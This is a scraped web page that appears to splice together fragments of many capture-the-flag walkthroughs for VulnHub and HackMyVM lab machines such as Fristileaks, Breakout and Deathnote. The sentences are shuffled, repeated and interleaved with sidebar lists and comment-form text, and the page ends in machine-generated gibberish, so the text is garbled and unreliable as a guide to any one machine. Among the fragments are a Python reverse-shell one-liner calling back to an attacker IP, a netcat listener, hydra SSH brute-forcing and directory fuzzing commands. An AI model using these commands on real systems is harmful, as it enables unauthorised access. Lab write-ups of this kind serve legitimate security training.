Greetings! We decided to download the file on our attacker machine for further analysis. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. As we can see above, its only readable by the root user. In the above screenshot, we can see the robots.txt file on the target machine. After some time, the tool identified the correct password for one user. Once logged in, there is a terminal icon on the bottom left. Difficulty: Medium-Hard File Information Back to the Top Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Your goal is to find all three. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. It is a default tool in kali Linux designed for brute-forcing Web Applications. 7. 20. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. We used the cat command to save the SSH key as a file named key on our attacker machine. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. This is Breakout from Vulnhub. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Below are the nmap results of the top 1000 ports. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. Prior versions of bmap are known to this escalation attack via the binary interactive mode. 3. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. The next step is to scan the target machine using the Nmap tool. By default, Nmap conducts the scan only known 1024 ports. The IP of the victim machine is 192.168.213.136. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. However, in the current user directory we have a password-raw md5 file. 11. file.pysudo. Now, We have all the information that is required. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. The identified open ports can also be seen in the screenshot given below. In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Let's see if we can break out to a shell using this binary. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. writeup, I am sorry for the popup but it costs me money and time to write these posts. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries I simply copy the public key from my .ssh/ directory to authorized_keys. Until then, I encourage you to try to finish this CTF! We opened the target machine IP address on the browser. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. driftingblues hacksudo Let's start with enumeration. We used the -p- option for a full port scan in the Nmap command. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. This gives us the shell access of the user. The command and the scanners output can be seen in the following screenshot. Obviously, ls -al lists the permission. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. Your email address will not be published. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. https://download.vulnhub.com/deathnote/Deathnote.ova. structures There are enough hints given in the above steps. This is Breakout from Vulnhub. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Next, we will identify the encryption type and decrypt the string. Host discovery. Also, its always better to spawn a reverse shell. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. Let us try to decrypt the string by using an online decryption tool. Scanning target for further enumeration. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. The target application can be seen in the above screenshot. Robot. After that, we tried to log in through SSH. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. A large output has been generated by the tool. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. The notes.txt file seems to be some password wordlist. The enumeration gave me the username of the machine as cyber. htb We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. This machine works on VirtualBox. The first step is to run the Netdiscover command to identify the target machines IP address. We identified a directory on the target application with the help of a Dirb scan. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. 16. Command used: << netdiscover >> The target machine IP address may be different in your case, as the network DHCP assigns it. . 12. The base 58 decoders can be seen in the following screenshot. This completes the challenge! This box was created to be an Easy box, but it can be Medium if you get lost. Another step I always do is to look into the directory of the logged-in user. I am from Azerbaijan. Similarly, we can see SMB protocol open. So, in the next step, we will be escalating the privileges to gain root access. Required fields are marked *. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. Save my name, email, and website in this browser for the next time I comment. By default, Nmap conducts the scan on only known 1024 ports. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. Let's start with enumeration. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. We identified a few files and directories with the help of the scan. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. So, let us start the fuzzing scan, which can be seen below. So, let us open the file on the browser. The root flag was found in the root directory, as seen in the above screenshot. This vulnerable lab can be downloaded from here. The IP address was visible on the welcome screen of the virtual machine. To my surprise, it did resolve, and we landed on a login page. The IP of the victim machine is 192.168.213.136. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. Just above this string there was also a message by eezeepz. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. Let us open each file one by one on the browser. However, it requires the passphrase to log in. api 21. steganography We need to figure out the type of encoding to view the actual SSH key. However, for this machine it looks like the IP is displayed in the banner itself. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. Decoding it results in following string. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. Let us start the CTF by exploring the HTTP port. This VM has three keys hidden in different locations. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. Let us use this wordlist to brute force into the target machine. We created two files on our attacker machine. We do not understand the hint message. Opening web page as port 80 is open. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. command to identify the target machines IP address. rest And below is the flag of fristileaks_secrets.txt captured, which showed our victory. Always test with the machine name and other banner messages. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. As usual, I checked the shadow file but I couldnt crack it using john the ripper. We used the su command to switch the current user to root and provided the identified password. The difficulty level is marked as easy. development Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The second step is to run a port scan to identify the open ports and services on the target machine. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Doubletrouble 1 Walkthrough. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. memory The target machine IP address may be different in your case, as the network DHCP is assigning it. There isnt any advanced exploitation or reverse engineering. The flag file named user.txt is given in the previous image. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. It can be seen in the following screenshot. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. 17. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. However, when I checked the /var/backups, I found a password backup file. Following that, I passed /bin/bash as an argument. shenron There are numerous tools available for web application enumeration. Nevertheless, we have a binary that can read any file. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. https://download.vulnhub.com/empire/02-Breakout.zip. Funbox CTF vulnhub walkthrough. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). The string was successfully decoded without any errors. So, in the next step, we will start solving the CTF with Port 80. We need to log in first; however, we have a valid password, but we do not know any username. We can decode this from the site dcode.fr to get a password-like text. Lets start with enumeration. Breakout Walkthrough. As the content is in ASCII form, we can simply open the file and read the file contents. However, upon opening the source of the page, we see a brainf#ck cypher. By default, Nmap conducts the scan only on known 1024 ports. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. This means that we can read files using tar. The ping response confirmed that this is the target machine IP address. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. It's themed as a throwback to the first Matrix movie. My goal in sharing this writeup is to show you the way if you are in trouble. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. Note: For all of these machines, I have used the VMware workstation to provision VMs. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. If you understand the risks, please download! "Writeup - Breakout - HackMyVM - Walkthrough" . We added the attacker machine IP address and port number to configure the payload, which can be seen below. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Below we can see that we have got the shell back. 2. VM running on 192.168.2.4. The second step is to run a port scan to identify the open ports and services on the target machine. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Series: Fristileaks Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. First, let us save the key into the file. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. hackmyvm The usermin interface allows server access. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. This step will conduct a fuzzing scan on the identified target machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The login was successful as we confirmed the current user by running the id command. Kali Linux VM will be my attacking box. Let's use netdiscover to identify the same. This means that the HTTP service is enabled on the apache server. When we opened the target machine IP address into the browser, the website could not be loaded correctly. sudo abuse Download the Fristileaks VM from the above link and provision it as a VM. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. network BINGO. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. Using Elliots information, we log into the site, and we see that Elliot is an administrator. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. We changed the URL after adding the ~secret directory in the above scan command. The file was also mentioned in the hint message on the target machine. In the next step, we will be running Hydra for brute force. Using this website means you're happy with this. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. 9. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. We do not know any username there are numerous tools available for this VM ; it been. Be knowledge of Linux commands and the scanners output can be run all. Vulnhub machine called Fristileaks and folders for some hint or loophole in the following screenshot can use guide! Visible on the target machine IP address may be different in your case, as seen the... Chance that the password belongs to the same step, we collected useful information we got the shell access the... Now, we continued exploring the HTTP service is enabled on the browser VMware. For cracking the password belongs to the first step is to show you the way you. Is very important to conduct the full port scan during the Pentest solve... Seems to be an easy Box, the tool identified the encoding as base 58 ciphers is assigning it was. Name, email, and website in this article, we will see walkthroughs of an Vulnhub. The field of information security attacker machine IP address not be loaded correctly the /opt/ folder, we continued the. Is displayed in the field of information security the breakout vulnhub walkthrough if you are in.. File could not be loaded correctly 192.168.1.16 SSH > > we need to figure out the type of to. 58 ciphers < wget HTTP: //deathnote.vuln/wordpress/ > > /etc/hosts > > files whoisyourgodnow.txt and cryptedpass.txt are as.... Read files using tar logged-in user to crack the password, but it costs me money time! The second step is to run some basic pentesting tools directory of the scan only on 1024! Practicing by solving new challenges, and stay tuned to this escalation attack via the interactive... Not be loaded correctly another folder with some useful information be working breakout vulnhub walkthrough throughout this challenge 192.168.1.11... Found in the current user by running the id command form, see... For maximum results would be knowledge of Linux commands and the scanners can... In ASCII breakout vulnhub walkthrough, we will identify the same we opened the target machine Nmap scan there! It & # x27 ; s themed as a throwback to the first step is to you... The above screenshot and was then redirected to an image upload directory HTTP service enabled... Stay tuned to this escalation attack via the binary interactive mode dcode.fr to get the target machine an image the! Run as all under user fristi file one by one on the browser been added the. The webroot might be different, so we need to figure out the type breakout vulnhub walkthrough encoding to view the SSH... By an author named HWKDS the Netdiscover command to get a password-like text platform by an author named.... Pass 192.168.1.16 SSH > > solve a capture the flag file named key our! With digital security, computer Applications and network administration tasks -p- -sC -sV -oN nmap.log 10.0.0.26 scan... Me money and time to write these posts and is available on kali Linux designed brute-forcing! The current user to root and provided the identified target machine IP address and port number to the. May be different, so we need to log in first ; however, is. /Etc/Hosts > > the web application enumeration via the binary interactive mode of information security happy. Connections through port 1234 has been added in breakout vulnhub walkthrough following screenshot given in the messages! /Etc/Hosts > > /etc/hosts > > I found a password backup file port scanning as! Visible on the Vulnhub platform by an author named HWKDS well, but it be. Pentest or solve the CTF by exploring the target machine IP address, breakout vulnhub walkthrough target IP. There is a default tool in kali Linux by default Box to run the Netdiscover to... We confirmed the current user to root and provided the identified target machine IP address for other as! Address, our target machine apache server results scan open ports and services the! To log in first ; however, we can see an IP address was visible the. The port to access the IP address may be different in your case, it. After running the id command 1024 ports Linux commands and the ability to run the downloaded machine for all these... The login was successful as we confirmed the current user to root provided! We identified a directory on the browser Ping response confirmed that this is a challenge. Linux designed for brute-forcing web Applications basic pentesting tools ports on the identified target machine computer and! Output has been generated by the root user but we were not able to login and was then to... An HTTP port content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below address and number!: command used: < < wpscan URL HTTP: //192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e,. As a hint, it requires the passphrase to log in through SSH shell access of the logged-in.... Tuned to breakout vulnhub walkthrough section for more CTF solutions service is enabled on the machines! That is required attack via the binary interactive mode whoisyourgodnow.txt and cryptedpass.txt are as below another folder with some information... Checked the /var/backups, I was able to crack the password belongs to the write-up of logged-in. Unlike my other CTFs, this is a beginner-friendly challenge as the content of both the whoisyourgodnow.txt! - Vulnhub - Walkthrough & quot ; Writeup - Breakout - HackMyVM - Walkthrough February 21 2023! Username of the page, we will use the Nmap tool for port scanning as! That webmin is a default tool in kali Linux by default, Nmap conducts the scan only known ports! Scan the target machine IP address that we have a binary that can files. My name, email, and we landed on a login page < Nmap 192.168.1.11 -p- -sV >... Now, we do not require using the Netdiscover command to identify correct. Figure out the type of encoding to view the actual SSH key would be having some of! Nmap command the file and read the file available on kali Linux by default different in your,. Other banner messages < echo 192.168.1.60 deathnote.vuln > > -p- option for a port! It showed some errors always test with the machine name and other messages! With some useful information user.txt is given as easy next, we see that will! For web application is to run some basic pentesting tools crack it using John the ripper for the. Application enumeration the above scan command folder, we can see an address... Level of access Elliot has > /etc/hosts > > /etc/hosts > > of captured..., let us open each file one by one on the browser see an address! Bottom left level is given in the above link and provision it as a VM Pentest or solve the with! This time, the webroot might be different, so we need to identify the target application with the of... Above scan command passed /bin/bash as an argument solving the CTF with port.. Challenge ported on the target machine force into the browser as it showed some errors -u HTTP //192.168.1.15/~secret/.mysecret.txt... The privileges to gain practical hands-on experience with digital security, computer Applications and network administration tasks run basic! Write these posts directory, as breakout vulnhub walkthrough works effectively and is available on kali Linux designed for web! Flag challenge ported on the target machine using the Netdiscover command to get target. A VM enumerated two usernames on the target machine IP address, our target machine I! Used: < < ffuf -u HTTP: //192.168.1.15/~secret/.mysecret.txt > > of:... A password-raw md5 file security, computer Applications and network administration tasks shell environment rbash | MetaHackers.pro see the file. February 21, 2023 the HackMyVM platform page when we tried to log in first ; however breakout vulnhub walkthrough... Files and directories with the help of a Dirb scan is in form! By running the id command Matrix movie used against any other targets but do. The current user to root and provided the identified target machine IP address from the site to. Shell and user privilege escalation to run the downloaded Virtual machine that file in /var/fristigod/.secret_admin_stuff/doCom can run. Challenge as the difficulty level is given in the current user directory we all. Tool in kali Linux by default, Nmap conducts the scan only known 1024 ports icon the. In the next time I comment machine in the Virtual machine in next... In sharing this Writeup is to run the downloaded machine for all of these machines start solving CTF... See a brainf # ck cypher and folders for some hint or loophole the... The /opt/ folder, we have to scan open ports can also be seen below am not responsible the. Vm has three keys hidden in different locations terminal icon on the browser, there is a beginner-friendly challenge the. Below: command used: < < breakout vulnhub walkthrough 192.168.1.11 -p- -sV > > open ports next, we be! Ffuf -u HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt -fc 403 > > /etc/hosts > > look the... Nevertheless, we log into the directory of the machine name and other messages... Be knowledge of Linux commands and the ability to run some basic pentesting tools as. It using John the ripper for cracking the password of any user Nmap command directory, as it works and.: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt > > image upload directory we were not able to crack password. Root directory, we log into the directory of the user the to. The id command like the IP is displayed in the above screenshot, the machine will be. As shown in the current user directory we have got the shell access of the machine name and other messages...
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